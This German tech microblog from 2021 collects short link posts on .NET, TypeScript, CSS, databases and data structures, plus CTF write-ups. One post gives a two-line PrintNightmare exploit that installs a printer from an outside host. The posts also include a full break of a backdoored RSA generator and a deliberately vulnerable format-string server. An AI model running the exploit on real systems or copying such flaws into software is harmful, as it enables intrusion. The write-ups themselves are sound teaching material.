Warum keine Länge oder Fläche? Oder eine ganz andere Basiseinheit, wie "Datenmenge" oder "Datenmasse"?

nikeee — Tue, 15 Jun 2021 00:00:00 GMT

Der Web-Bloat-Score (WebBS) ist eine interessante Metrik für überflüssiges Zeug in einer Webseite.

nikeee — Thu, 17 Jun 2021 00:00:00 GMT

Ein weiterer Beitrag über die praktischen Funktionen bei console in JS.

nikeee — Thu, 17 Jun 2021 00:00:00 GMT

Die Web Audio API ist jetzt eine W3C-Empfehlung.

nikeee — Mon, 21 Jun 2021 00:00:00 GMT

Mit dem itemprop-Attribut kann man seinem HTML noch mehr Semantik geben. Auszug aus MDN:

<div itemscope itemtype="http://schema.org/Movie">
	<h1 itemprop="name">Avatar</h1>
	<span>
		Director:
		<span itemprop="director">James Cameron</span>
		(born August 16, 1954)
	</span>
	<span itemprop="genre">Science fiction</span>
	<a href="../movies/avatar-theatrical-trailer.html" itemprop="trailer">Trailer</a>
</div>

Auf MDN gibt's noch um einiges mehr Beispiele. U. a. auch das meter-Element, um z. B. Bewertungen darzustellen:

	<meter itemprop="ratingValue" min=0 value=3.5 max=5>Rated 3.5/5</meter>

nikeee — Thu, 24 Jun 2021 00:00:00 GMT

Fortlaufende Zahlen in VSCode mit Multi-Cursor einfügen.

nikeee — Wed, 30 Jun 2021 00:00:00 GMT

ES2021 wurde offiziell verabschiedet.

nikeee — Wed, 30 Jun 2021 00:00:00 GMT

Node.js hat eine API für einen asynchronen LocalStorage bekommen. Mal schauen, was es für coole Use-Cases es für den asyncLocalStorage gibt. Erinnert ein bisschen an Reacts useContext().

nikeee — Wed, 30 Jun 2021 00:00:00 GMT

Ich schreib ja schon, dass die neue Temporal API jetzt in Stage 3 ist. Hier ist noch ein schöner Walk-Through.

nikeee — Thu, 01 Jul 2021 00:00:00 GMT

Die Beta von TypeScript 4.4 wurde gerade veröffentlicht. Sind ein paar schöne Neuerungen dabei. Vor allem die verbesserte Kontrollflussanalyse. Mal schauen, was aus Inlay Hints wird. Die gibt's ja schon länger bei IntelliJ für Java (und vermutlich auch andere von denen supportete Sprachen). In der Preview sieht das noch sehr noisy aus.

nikeee — Sat, 03 Jul 2021 00:00:00 GMT

Cooler Talk vom SQLite-Erfinder über... SQLite. Er gibt ein bisschen an, ist aber IMHO ein guter Speaker, dem man gut zuhören kann.

nikeee — Fri, 16 Jul 2021 00:00:00 GMT

Intel überlegt, GlobalFoundries zu kaufen. Die sind eine Ausgründung von AMD, welche ihre Sachen mittlerweile bei TSMC fertigen lassen.

nikeee — Fri, 16 Jul 2021 00:00:00 GMT

Bin auf einen interessanten Youtube-Channel gestoßen: ScienceClic English

Macht viel Physik, fast schon im 3blue1brown-Stil. Er geht auch relativ detailliert auf die Themen ein und redet nicht nur grob über Dinge, wie man es z. B. von Lesch kennt.

In dem Kontext muss man natürlich auch Sabine Hossenfelder und PBS Space Time erwähnen. Vielleicht auch noch den Urknall, Weltall, Leben-Channel.

Update 2023: Dialect ist auch noch super.

nikeee — Mon, 19 Jul 2021 00:00:00 GMT

Wie Reddit ihre Dinge (Kommentare, Posts) sortiert (oder es zumindest mal getan hat). Reddit war wohl vor ein paar Jahren auch noch open source. Hier gibt's den originalen Quelltext davon. Dieses Ranking-System wird auch auf pr0gramm verwendet.

nikeee — Mon, 19 Jul 2021 00:00:00 GMT

Wo wir gerade bei Ratings waren: Hier eine Analyse, wie es möglicherweise bei Hacker News funktioniert. Hier ist noch eine andere Analyse.

nikeee — Mon, 26 Jul 2021 00:00:00 GMT

Ein kleiner Überblick, was in AVX-512 neu ist.

nikeee — Sat, 31 Jul 2021 00:00:00 GMT

Ihr erinnert Euch vielleicht an die eine Seite, die eine SQLite-Datei mit Range-Requests serviert hat, um dann Clientseitig SQL-Statements per HTTP darauf abzusetzen (Zugriff auf Offsets in der SQLite-Datei wurden auf Range-Requests gemappt).

Hier hat das jemand genommen und die gesamte Wikipedia in eine SQLite-Datei gepackt. Also mit Volltextsuche und ohne wirkliches Backend.

HN dazu

nikeee — Sun, 01 Aug 2021 00:00:00 GMT

Git hat 2 eher weniger bekannte Commands: switch und restore. Machen beide ein bisschen das, was man sonst mit checkout gemacht hat.

nikeee — Tue, 03 Aug 2021 00:00:00 GMT

Mit window.find (achtung, Non-Standard) kann man Strings im Fenster der Webseite finden.

nikeee — Thu, 05 Aug 2021 00:00:00 GMT

dns.google ist nicht nur die Domain des Anfragen-trackenden DNS-Servers von Google (die berühmten vier achten). Die haben eine praktische GUI, mit der man mal eine Test-Anfrage machen kann.

Wer nicht weiß, welchen DNS-Server man als Upstream verwenden könnte, wenn nicht Google, Cloudflare, etc.: digitalcourage hat da welche.

nikeee — Tue, 10 Aug 2021 00:00:00 GMT

Gerade ist eine neue .NET-Preview veröffentlich worden. Bis auf ein paar Library-Neuerungen ist vor allem eines neu: Statische Interface-Member.

Damit kann man diverse Patterns, wie z. B. Parse + TryParse jetzt als Interface-Methoden definieren (das ging vorher nicht, weil die beiden Methoden statisch sind und Interfaces auf Instanzmethoden beschränkt waren). Jetzt geht das.

Damit lässt sich jetzt sehr viel machen, z. B. mathematische Operatoren über generische Interfaces zu definieren. Dann kann einer Library egal sein, welchen Typ man reinwirft, hauptsache er "kann Addition" (überladene Operatoren sind auch statische Methoden, deshalb ging das bisher nicht). Natürlich gehen auch Vergleichsoperatoren, die bisher über das IComparable<T>-Interface liefen.

Wenn man da jetzt die Mathematiker drauf lässt, bekommt man sicher ganz viele Gruppen, Monoiden, Ringe, Körper und noch ganz andere viele Dinge. Ich hoffe, dass der JIT damit ordentlich umgehen kann. Bei den Gleichheitsoperatoren fällt mir jetzt auf, dass sie nicht zwischen Partieller Gleichheit und totaler Gleichheit unterscheiden, wie Rust das macht. Generell wirkt es etwas, wie Concepts aus C++. Vielleicht ein bisschen weniger mächtig.

nikeee — Thu, 12 Aug 2021 00:00:00 GMT

TypeScript 4.4 ist da (als RC). Die Neuerungen sind im Prinzip gleich zu der Beta.

Im Vergleich zur Beta ist vor allem neu, dass es jetzt einen static-Initializer gibt, der aus einem ES-Proposal kommt.

Wer es nicht kennt, das ist quasi ein Konstruktor für die statischen Elemente einer Klasse. Gibt es mit derselben Syntax auch in C# und Java. Bei C# heißt das Class Construtor (cctor, Erklärung):

class C {
  static x = ...;
  static y;
  static z;

  static {
    try {
      const obj = doSomethingWith(this.x);
      this.y = obj.y;
      this.z = obj.z;
    }
    catch {
      this.y = ...;
      this.z = ...;
    }
  }
}

(this zeigt im statischen Kontext auf die Klasse, nicht auf eine Instanz)

nikeee — Sat, 14 Aug 2021 00:00:00 GMT

Debian 11

nikeee — Sun, 15 Aug 2021 00:00:00 GMT

Ein sehr deutlicher Rant aus 2011 darüber, dass fast alle Software schlecht ist. Kann ich ein bisschen nachvollziehen. Habe auch eine Liste mit Software, die ich nicht schlecht finde.

nikeee — Mon, 16 Aug 2021 00:00:00 GMT

Ich mag ja coole und vor allem verrückte Ideen für Programmiersprachen.

Hier ist eine für Musik, hier ein Tutorial.

Codeausschnitt:

trumpet:  (tempo 200) o4 c8 d e f g a b > c4.
trombone: o3 e8 f g a b > c d e4.

nikeee — Mon, 16 Aug 2021 00:00:00 GMT

If you set your http proxy to be theoldnet.com port 1997, and (important!) add an exclusion for web.archive.org, then you can browse the entire web from 1997. You can also change the port number to your preferred year. This is really fun on retro systems / web browsers.

Wer es probieren möchte: https://theoldnet.com/docs/httpproxy/index.html

nikeee — Mon, 16 Aug 2021 00:00:00 GMT

Intel möchte bald dedizierte GPUs rausbringen.

Auf HN scheinen sich viele darüber zu freuen, sowohl für Intel als auch für sich selbst. Vorrangig wohl wegen der aktuellen GPU-Knappheit. Ich hab jetzt nicht so tolle Erfahrungen mit Intel-Grafik, aber in dem Thread berichten viele von guten Linux-Treibern, was im Vergleich zu Nvidia wohl auch noch ein guter Punkt wäre.

Spannend!

nikeee — Tue, 17 Aug 2021 00:00:00 GMT

Es gibt Helvetica als Variable Font.

nikeee — Tue, 17 Aug 2021 00:00:00 GMT

MS hat hier zusammengetragen, was es für Performanceverbesserungen in .NET 6 gibt.

Insgesamt echt beeindruckend, alleine schon das Volumen des Posts. Habe jetzt nicht alles einzeln gelesen, nur grob überflogen. Eine Sache ist mir aber aufgefallen:

Most of the Math methods can now participate in constant folding, so if their inputs end up as constants for whatever reason, the results can become constants as well [...] dotnet/runtime#42831 from @nathan-moore ensured that the Length of an array created from a constant could be propagated as a constant. [...] [...] dotnet/runtime#55745, which enables the JIT to fold TimeSpan.FromSeconds(constant) (and other such From methods) into a single instruction.

Nice! Offenbar ist die Compilerinfrastruktur bei .NET jetzt so gut, dass solche Verbesserungen von random GitHub-Leuten eingereicht werden können.

Ich habe vor einiger Zeit mal den Vorschlag gemacht, CTFE in C# zu machen. Das ist jetzt definitiv obsolet. Nahezu jedes Beispiel aus dem Proposal wird jetzt vom Constant-Folding optimiert (was ich auch für den besseren Ansatz halte).

Die verbleibenden Use-Cases könnten von generischen Const-Parametern abgefertigt werden. In meinem Proposal werden auch const structs angedeutet (also structs, die zur Compile-Time schon einen Wert haben und sich nicht mehr ändern). Da gibt es auch ein separates Proposal zu. Der Vorteil davon wäre, dass man z. B. DateTimes als "richtige" Konstante haben kann (nicht nur als Shared-Readonly) und es eigentlich keinen Grund gibt, das nicht zu tun, weil das intern auch nur ein Int64 und sonst immutable ist.

nikeee — Tue, 17 Aug 2021 00:00:00 GMT

Ich finde einige Datenstrukturen echt interessant. Immer wieder schön zu sehen, welche Hacks sich überlegt wurden. Vielleicht braucht es ja einen Datenstruktur-Dienstag?

Den Anfang macht...

...die klassische Hash-Table

nikeee — Wed, 18 Aug 2021 00:00:00 GMT

Guter Artikel über Endianess.

nikeee — Wed, 18 Aug 2021 00:00:00 GMT

Ab und zu muss man aus einem größeren Zahlenraum auf einen kleineren mappen, z. B. auf den Index eines Arrays. Da sieht man häufig eine Konstruktion mit Modulo: arr[i % n] (wobei n die Länge des Arrays ist). Für manche ist Modulo zu langsam. In dem Fall kann man diesen Hack anwenden. Aber Achtung, macht nicht das gleiche wie Modulo. Aber verteilt trotzdem auf die Range, die man haben will (ob das wir Modulo bei Zufallswerten auch einen Bias einführt, steht da glaub ich aber nicht).

nikeee — Wed, 18 Aug 2021 00:00:00 GMT

Die Entwicklung von .NET 7 fängt jetzt an.

nikeee — Thu, 19 Aug 2021 00:00:00 GMT

In CSS gibt es die Property will-change, mit dem man dem Browser sagen kann, dass sich andere CSS-Propertys ändern werden und er das schon mal voroptimieren kann.

nikeee — Thu, 19 Aug 2021 00:00:00 GMT

Bei Apples CSAM war schon recht schnell klar, dass es kaputt ist (mal von der Frage abgesehen, ob man das überhaupt haben will). Ich dachte, das hat sich mit dieser einen Kollision (bzw. 2nd-Pre-Image-Attack) und eigentlich muss man da nicht weiter drauf rum hauen. Dann wurde es ganz schnell noch kaputter und jetzt gibt es ein CLI-Tool, das diesen Angriff super easy fährt.

Gut, dachte ich, das wird es jetzt aber definitiv gewesen sein; kaputter geht nicht. Wohl doch. Jetzt kann man glaub ich aber auch echt aufhören, da gibt's nichts mehr zu holen.

nikeee — Thu, 19 Aug 2021 00:00:00 GMT

Wann React Child-Components rendert. Am Ende ist auch eine Fortsetzung verlinkt, die die Fälle behandelt, wenn Props dabei sind.

nikeee — Fri, 20 Aug 2021 00:00:00 GMT

Ein Hello World in rust(🚀). 33GB Dependencies, kompiliert 2.5 Stunden.

nikeee — Sat, 21 Aug 2021 00:00:00 GMT

Aus der "Bekannte Blogposts"-Serie: What Color is Your Function?

Man stelle sich vor, Programmiersprachen haben zwei Arten von Funktionen: Rote und Blaue. Dazu kommen Regeln, wie man sie kombinieren kann. Am Ende sieht man, worum es eigentlich geht. Haben wir sicherlich alle schon einmal benutzt.

nikeee — Sat, 21 Aug 2021 00:00:00 GMT

Wir hatten neulich ja die Bewertungssysteme von HN und Reddit. Hier schreibt Chatroulette, wie sie ihr Matchmaking machen.

nikeee — Sun, 22 Aug 2021 00:00:00 GMT

Der Entwickler von Flask versteht asyncio aus Python nicht. Es ist laut ihm einfach zu over-engineered. Könnte man auch als einen der Blog-Posts einstufen, die man kennt.

Leider hat man von asyncio nicht viel, denn die Webanwendung wird dadurch langsamer. (HN dazu)

nikeee — Mon, 23 Aug 2021 00:00:00 GMT

Neue Funktionen in .NET 6, die durch Entwicklerfeedback kamen.

nikeee — Mon, 23 Aug 2021 00:00:00 GMT

Eine relativ unbekannte Firma, die aber im Prinzip das Monopol auf Maschinen für moderne Halbleiterfertigung hat: ASML Intel, Samsung und TSMC sind große Kunden von denen.

Hier ein Video über das, was sie so machen. Schaut Euch das mal an. Das Level von Engineering, was die da betreiben, ist einfach komplett absurd. Aus einer Jobbeschreibung:

Imagine perfecting an optical system where aberrations are kept to within one thousandth of the wavelength of light used. In this optical system, 200 kg reflectors need to be positioned to within an accuracy of less than a nanometer, and then repositioned every second to compensate for millikelvin fluctuations.

Wikipedia dazu

nikeee — Tue, 24 Aug 2021 00:00:00 GMT

Richtig coole Idee: Hashing zur Stringsuche. Der Autor verlinkt auch die Knuth-Morris-Pratt-String-Suche.

HN dazu

nikeee — Tue, 24 Aug 2021 00:00:00 GMT

Datenstrukturdienstag: Eine meiner lieblings-Strukturen, der Bloom-Filter.

Eine wichtige Eigenschaft eines Bloom-Filters ist die False-Positive-Rate. Das ist die Wahrscheinlichkeit für False-Positives. Zu dieser Wahrscheinlichkeit gab es 30 Jahre später noch eine neue Formel, da die ursprüngliche wohl fehlerhaft war. Hier ist ein Writeup dazu. Hier ist noch ein Paper dazu.

Was man in der Praxis für Probleme mit einem Bloom-Filter haben kann, hat Cloudflare mal aufgeschrieben.

nikeee — Wed, 25 Aug 2021 00:00:00 GMT

C++20 Concepts: The Definitive Guide und C++20 modules with GCC11

HN dazu

nikeee — Wed, 25 Aug 2021 00:00:00 GMT

Ihr kennt sicher Elasticsearch. Wenn Ihr es nicht selbst schon eingesetzt habt, kennt ihr es vielleicht, weil das gerne offen im Netz hängen gelassen wird oder weil Amazon das aus lizenztechnischen Gründen geforkt hat.

Ist eine Datenbank, die spezialisiert auf Suche ist (ok, da hätte man drauf kommen können). Da es aber in Java geschrieben ist und auch schon ein bisschen existiert, ist es eher relativ dicke Software, die vieles kann und auch viel Ressourcen verbraucht, letztendlich auch wegen Java. Ich kenne Software-Stacks, in denen das zur Auswertung der Logs verwendet wird. Dort kommt es dann nicht selten vor, dass der Elasticsearch-Logging-Stack mehr Ressourcen verbraucht, als die eigentliche Anwendung.

Ich komme darauf, weil gerade Version 0.21.0 von MeiliSearch freigegeben wurde. Das ist auch eine Datenbank, die spezialisiert auf Suche ist, allerdings in Rust geschrieben (ja, ich weiß, "alles ist besser in Rust" ist ein alter Hut etc.).

Diese Software habe ich schon halb-produktiv verwendet und bin positiv beeindruckt. Sie ist recht einfach aufgebaut, die API ist super straight-forward, genau wie das Rechtesystem. Die Dokumentation ist m. E. n. super gut dafür, dass es Pre-1.0-Software ist. Deployen kann man das Ganze zur Not auch ohne Container, da das gesamte Teil eine einzige Binary ist, die man auch mit einem einfachen git clone und cargo build selbst bauen kann. Die API-Endpunkte sind dafür gebaut, dass man sie direkt von einem Web-Frontend aus ansprechen kann, ohne Backend-Logik dazwischen.

Vom Funktionsumfang ist das natürlich nicht mit einem Elasticsearch vergleichbar. Es ist ja auch noch Pre-1.0-Software. Die Use-Cases überschneiden sich wahrscheinlich auch nur teilweise, weil MeiliSearch aktuell primär für "Search-as-you-Type"-Sachen gemacht ist.

Neben Elasticsearch und MeiliSearch gibt es natürlich auch noch andere Alternativen. Was ich mit diesem Post auf jeden Fall sagen will: Es muss nicht immer Elasticsearch sein und die Alternativen kennen viele nicht.

nikeee — Wed, 25 Aug 2021 00:00:00 GMT

Kennt Ihr FastAPI? Das ist ein relativ einfaches Python-Framework, mit dem man ganz gut mal ne (REST-)APIs bauen kann. Ist auch relativ schnell, also im Vergleich zu Django und Flask.

Derselbe Mensch hat jetzt eine SQL_API rausgebracht: SQLModel. Verwendet - wie FastAPI auch - Pydantic zur Validierung und SQLAlchemy um mit der Datenbank zu reden. Der Autor hat es auch auf HN gepostet.

Sieht ganz cool aus, könnte man mal ausprobieren. Funktioniert natürlich auch mit SQLite. :)

nikeee — Wed, 25 Aug 2021 00:00:00 GMT

Wo wir gerade bei Datenbanken waren - Ihr kennt sicher Discord. Heute stolperte ich über einen Artikel der Discord-Leute aus dem Jahr 2017, wo sie ihre Migration von MongoDB auf Cassandra beschreiben. Also mit technischen Requirements und Begründungen etc., wie man das machen sollte. Der Artikel beschreibt ganz gut und geht auch darauf ein, was man bei Cassandra beachten sollte.

Wer bei Cassandra an "Ressourcenfressende Java-Datenbank" denkt, mag vielleicht nicht ganz falsch liegen. 2020 migrierten sie dann auf ScyllaDB, einem Cassandra-kompatiblen Drop-in-Replacement, geschrieben in C++.

nikeee — Wed, 25 Aug 2021 00:00:00 GMT

Is Hacker News a Good Predictor of Future Tech Trends?

Betrachtet natürlich nur die Fälle, die Trends wurden. Nicht die, die auf HN waren, aber nichts wurden.

nikeee — Thu, 26 Aug 2021 00:00:00 GMT

Hier hat Julia Evans Muster aufgeschrieben, der er seiner Meinung nach in schlechten/verwirrenden Erklärungen häufig findet.

HN ist dazu auch empfehlenswert. Hier einige Dinge, die mir auch auffallen:

Another pattern I usually encounter is explaining the how but not the why. [...]

Whenever I see a "how-but-not-why" article I assume that the author doesn't understand the "why" part yet... they've likely just rote-learned the "how" part and are regurgitating it. [...]

nikeee — Thu, 26 Aug 2021 00:00:00 GMT

TypeScript 4.4 ist jetzt da.

nikeee — Thu, 26 Aug 2021 00:00:00 GMT

Hier ein Exploit für die Printer-Nightmare-Geschichte, die aktuell noch nicht gefixt ist.

Besteht aus zwei Zeilen:

net use \\printnightmare.gentilkiwi.com\ipc$ /user:gentilguest password
rundll32 printui.dll,PrintUIEntry /in /n"\\printnightmare.gentilkiwi.com\Kiwi Legit Printer"

Natürlich macht der verwendete Drucker dort sicherlich auch noch was. Aber ist schon cool, dass das einfach ein ein zwei-Zeilen-Batch-Skript passt.

nikeee — Tue, 31 Aug 2021 00:00:00 GMT

TIL: restrict in C hat kein Äquivalentes Konzept in C++. Ist vielleicht auch ganz gut so. Sowas sollte eher vom Compiler enforced werden.

nikeee — Tue, 31 Aug 2021 00:00:00 GMT

Datenstrukturdienstag: Letzte Woche gab's den Bloom-Filter, diese Woche muss man dann wohl den Cuckoo-Filter erwähnen.

Großer Unterschied (IMHO): Man kann auch Einträge wieder löschen.

nikeee — Wed, 01 Sep 2021 00:00:00 GMT

Der BND hat mal wieder einen öffentlichen Einstellungstest, dem wir uns erfreuen dürfen. Ideal, um sich mal etwas in CTF-Writeups zu probieren!

Aus der Kategorie Cryptography schauen wir uns mal die (einzige) Challenge an: Analysieren einer Backdoor in einem RSA-Schlüsselerzeugungsalgorithmus.

Folgender Code wurde uns bereitgestellt: <details> <summary>SageMath-Code</summary> {%- highlight c linenos -%}

Excerpt from utils.py (used to encode / decode the message)

def encode(msg): """ Convert a message to a number.

Example:
>>> hex(encode(b'ABCD'))
'0x41424344'
"""
return int.from_bytes(msg, byteorder='big')

def decode(msg): """ Convert a number back to a message.

Example:
>>> decode(0x41424344)
b'ABCD'
"""
return int(msg).to_bytes(length=len(hex(msg))//2-1, byteorder='big')

Excerpt from RSA.py

x = 0xbb31781a2436fd6833597b61f91b94fba8cc5be702c7084de28625d96823102daf48dd84244fe41d180452a900388d1666ff59981f0912c6640977684c20bcfdcbf365dfcb68c0c5a9fd02576134a0e94ab9e20bbacffb4df5c9c27ae7f5022f6609aefeb9f5249387925ad13ce80a13

def rsa_keygen(): def a(x, y): z = 1 while True: if is_prime(xz + y): return xz + y z += 1

p = a(x, random_prime(2^128, None, 2^127))
q = a(x, random_prime(2^128, None, 2^127))

N = p * q
e = 65537

d = inverse_mod(e, (p-1) * (q-1))

return e, d, N

def rsa_crypt(m, k, n): return lift(Mod(m, n) ^ k) {%- endhighlight -%} </details>

(wer kein SageMath installiert hat, kann diese Online-Version verwenden)

Zu dem Code haben wir folgende Zahlen enthalten, die wir entschlüsseln sollen:

e = 65537
N = 6217468290706613301603616005528100131798149079252059573007495519788267044819121069395602245916998799930775648250683389442966714804739613450381148533419461928485596870928541962694971680190134542148996706927335882462229500089986851509475109505459048676123650490359710027902270147490153424656466031170743546488513755685818385587367321466024945007514143310365200975587058348169982977145650693955667384644381937407101389719894018805206516292068437770414857823797915459660636056085645464594641983523102970037856987032167809541108080330794363602778053
c = 2403958089131679913280388000590444805870336793994842072765238389702465658316012937918168208480675977995643226078413644628259138097045221263367315251880579357261568983261767728244111191268740525499918021532930079880132241418326592156659066605343402785460641431875333212535673641255300099993314785755934870975128143213605376650490207877022044023372044186152484758267679564160572404559310873497815049934655680334251964614447413366867181827019553147813581000873134348328652679149309707292737376026040119503186190733157879722025259970612661722013152

Hierbei ist c ein Ciphertext und (e, N) der öffentliche Schlüssel.

Lösung

Die Backdoor soll in rsa_keygen sein. Schauen wir noch mal bei Wikipedia nach RSA.

Soweit sieht das alles identisch mit dem Standard-RSA-Vorgehen aus, bis auf diese Funktion a und der offenbar willkürlich gewählten Konstante x.

Um die gegebene Nachricht c zu entschlüsseln, brauchen wir das Inverse d (mod phi(N)). Dieses wird mit inverse_mod(e, (p-1) * (q-1)) berechnet. (p-1) * (q-1) ist hierbei phi(N), die Eulersche Phi-Funktion von N. phi(N) lässt sich einfach berechnen, wenn man die Primzahlfaktorzerlegung (PFZ) von N hat. Unser N ist nun das Produkt der Primzahlen p und q, die wir nicht kennen.

Wenn wir also p und q hätten, könnten wir daraus (p-1) * (q-1) und somit d berechnen. Da die PFZ einer Zahl eindeutig ist, müssten wir "nur" N faktorisieren, um zur Lösung zu kommen. Aus wie vielen Bits besteht denn N?

>>> import math
>>> math.log2(N)
1806.4432827685064

Uff, 1800 Bit! Bei der Faktorisierungs-Rekordliste auf Wikipedia liegt der Rekord aktuell bei 829 Bit und benötigte 2700 CPU-Jahre.

Damit kommen wir hier nicht weiter.

p und q fallen aus der Funktion a(x, y) heraus. Schauen wir uns mal die Funktion a an:

def a(x, y):
    z = 1
    while True:
        if is_prime(x*z + y):
            return x*z + y
        z += 1

y ist hierbei eine 127- bis 128-Bit-Primzahl. Die Funktion addiert so lange x hinzu, bis das Ergebnis wieder prim ist. Es wird also zumindest eine "echte" Primzahl zurückgegeben.

Die zurückgegebene Primzahl hat aber eine interessante Eigenschaft: Nimmt man sie modulo x, erhalten wir das ursprüngliche y, also (x*z + y) % x == y (wenn z eine ganze Zahl ist).

Wir schreiben für die ursprünglichen Primzahlen:

py = p (mod x)
qy = q (mod x)

py und qy sind die Zahlen, die der entsprechende random_prime-Aufruf zurückgegeben hat. Wenn wir diese beiden Zahlen hätten, könnten wir daraus p und q, damit phi(N) und den privaten Schlüsselexponenten d berechnen. Wir wären also damit am Ziel.

Wir haben jetzt:

N = p * q

Mit dem Wissen über p und q bzw. py und qy und modularer Arithmetik können wir N % x wie folgt schreiben:

N (mod x) = (p * q) (mod x)
# =>
N (mod x) = (py (mod x)) * (qy (mod x)) (mod x)
# =>
N (mod x) = py * qy (mod x)

Wir kennen py und qy zwar nicht, aber dafür können wir leicht N % x berechnen. Machen wir das einfach mal:

>>> N % x
66125408326246957633291817320886184668904992358732144386954697003579825863329
# == py * qy (mod x)

Wir haben jetzt also py * qy. Vielleicht können wir das faktorisieren?

>>> math.log2(N % x)
255.19173993737596

255 Bit, das sieht vielversprechend aus. Das ist sogar so klein, dass wir diese Zahl mit SageMath oder Pari/GP faktorisieren können. Letzteres läuft auch im Browser mit WebAssembly:

? factor(N % x)
%1 = [
    221907985412741132065008213841199453713, 1;
    297985708820960177865320211443397151633, 1
]

Das hat ein paar Minuten gedauert, aber es funktioniert! Wir haben jetzt also py/qy und können die einfach in den beretgestellten SageMath-Code einsetzen:

def rsa_keygen():
    def a(x, y):
        z = 1
        while True:
            if is_prime(x*z + y):
                return x*z + y
            z += 1

    p = a(x, 221907985412741132065008213841199453713) # py eingesetzt
    q = a(x, 297985708820960177865320211443397151633) # qy eingesetzt

    N = p * q
    e = 65537

    d = inverse_mod(e, (p-1) * (q-1))

    return e, d, N

e, d, N = rsa_keygen()
# d ist
# 3467768107026547385652638598807828312519916128200871775823473514729397520320938286000540898957902515126869436661843385176446317748106368775680640284756421439369120076034163821389280861589483618706566925985548751264810334876318558725999720428964472073154825463083731032087297027362897230895721168475580090760348500981461541577170237929409970063856773739334065914786957420755971894585049822901273421798773066522116201358512033300269512677528703251374687234206800845284169662237729684442740976846102023058025865707418543160234080009299622311844865

Jetzt können wir die ursprüngliche Nachricht entschlüsseln:

>>> decode(rsa_crypt(c, d, N))
b'HL{rsa_b4ckd00rz_mad3_s1mpl3}'

Fertig!

Takeaway und Weiterführendes

Nach Außen hin sah der generierte Schlüssel sicher aus. Kennt der Angreifer aber die (ggf. sogar geheime) Konstante x, kann er das Kryptosystem mit einem Desktoprechner brechen. Das x dient damit als Generalschlüssel für alle mit dem Verfahren erzeugten Schlüsselpaare.

In vielen Verfahren werden "Nothing-up-my-sleeve"-Zahlen verwendet. So kann man zeigen, dass man nicht mit einer geschickt gewählten Konstante versucht, eine Backdoor einzubauen (wie z. B. mit P und Q beim CSPRNG Dual_EC_DRBG).

nikeee — Wed, 01 Sep 2021 00:00:00 GMT

Heute kam ein neues Proposal für CSS: Nesting Module. Wenn ich das richtig lese, kann man Selektoren ineinander verschachteln, ähnlich, wie man es bei SCSS auch macht:

This module introduces the ability to nest one style rule inside another, with the selector of the child rule relative to the selector of the parent rule. This increases the modularity and maintainability of CSS stylesheets.

Die verlinkten Beispiele sehen auch danach aus, als hätten sie einfach direkt SCSS genommen.

nikeee — Wed, 01 Sep 2021 00:00:00 GMT

How-to API nicht designen: String.split(String pattern) schneidet per default leere Strings am Ende des Ergebnis-Arrays weg (und nur da):

var arr = "a.b.".split("\\."); // ["a", "b"]

Dieses Verhalten alleine produziert schon Bugs (tatsächlich habe ich dadurch einen gefunden, der seit ~3 Jahren unbemerkt war).

Es wird aber noch besser! Wenn man das nicht will, also wenn man will, dass es sich so wie in jeder anderen Sprache verhält, muss man eine Überladung verwenden, die einen limit-Parameter hat. Warum limit? Na das ist die maximale Anzahl an Tokens für einen Match:

If n is non-positive then the pattern will be applied as many times as possible and the array can have any length. If n is zero [Anm. d. Red.: default] then the pattern will be applied as many times as possible, the array can have any length, and trailing empty strings will be discarded.

Das intuitive Verhalten wäre also:

var arr = "a.b.".split("\\.", -1); // ["a", "b", ""]

nikeee — Wed, 01 Sep 2021 00:00:00 GMT

File IO improvements in .NET 6.

Also ich weiß ja nicht, was der Fall ist. Entweder war .NET vorher im Vergleich derbe langsam, oder jetzt, wo es open source ist, kommen da viele Wunderkinder aus den Ecken und optimieren an jeder Stelle, was das Zeug hält. Wie auch immer die solche Performanceverbesserungen aus dem Hut zaubern.

Vielleicht sind es aber auch die Low-Level-Features, die C# seit neustem eins nach dem Anderen dazubekommt, was dazu führt, dass man jetzt solche Optimierungen machen kann. War eigentlich kein Fan davon, weil es in Zukunft immer mehr Wege gibt, Dinge zu tun. Aber ich kann schon verstehen, warum man das will, wenn man damit solche Verbesserungen herzaubern kann.

Interessant ist auch die neue "Thread-Safe File IO":

We recognized the need for thread-safe File IO. To make this possible, stateless and offset-based APIs have been introduced in #53669 which was part of .NET 6 Preview 7:

An einigen Stellen scheinen sie jetzt auch "am Betriebssystem vorbei" zu gehen (siehe Anmerkung über den File-Offset).

nikeee — Thu, 02 Sep 2021 00:00:00 GMT

Der nächste Writeup aus den BND-CTFs. Nach der Backdoor in der RSA-Schlüsselerzeugung, dieses Mal aus der Kategorie Binary Exploitation.

Das Ziel:

Exploit a binary to gain a remote shell.

Wir bekommen die server.c, sowie die auf dem Server genutzte libc. <details> <summary>Server-Code</summary> {%- highlight c linenos -%} // gcc server.c -o server -g -ggdb -Wl,-z,norelro -fstack-protector-all

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h>

int my_read(FILE *fd, char *buf, size_t max) { int read = 0; while (read < max && !feof(fd)) { int ch = getc(fd); if (ch == '\n') { break; } else { buf[read] = ch; read++; } } buf[read] = 0;

return read;

}

char rot13(char ch) { if (ch >= 'a' && ch <= 'z') { return ((ch - 'a' + 13) % 26) + 'a'; } else if (ch >= 'A' && ch <= 'Z') { return ((ch - 'A' + 13) % 26) + 'A'; } else if (ch >= '0' && ch <= '9') { return ((ch - '0' + 5) % 10) + '0'; } else { return ch; } }

int main(int argc, char** argv) { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0);

char inp[0x100];
char cc;

puts("Welcome to our 86-GBE service!");
puts("Enter your message and press return.");
puts("Enter quit to exit.");

unsigned char len;
for (;;) {
	len = my_read(stdin, inp, sizeof (inp) - 1);
	if (strcmp(inp, "quit") == 0) {
		exit(0);
	}

	for (int i = 0; i < len; i++) {
		inp[i] = rot13(inp[i]);
	}

	for (int i = 0; i < len / 2; i++) {
		cc = inp[i];
		inp[i] = inp[len -i -1];
		inp[len - i - 1] = cc;
	}

	printf(inp);
	putc('\n', stdout);
}

exit(0);

} {%- endhighlight -%} </details>

Nehmt Euch am besten etwas Zeit, um den Code erstmal anzuschauen.

Falls Ihr das nachstellen wollt, die Sha1-Hashes der beiden Shared-Objects und der bereitgestellten server-Executable sind:

8981f7e94145867387b532e1ef0afec6beb2f96e  ld-linux.so.2
4fcd76645607f38d91f65654ddd6b9770b5ea54a  libc.so.6
ea5b846f1eaa6a413aa91dda8e68067b407f52a9  server

Ich werde die Binaries hier nicht hochladen. Die libc werdet Ihr aber sicher irgendwo finden und die Executable könnt Ihr selbst kompilieren.

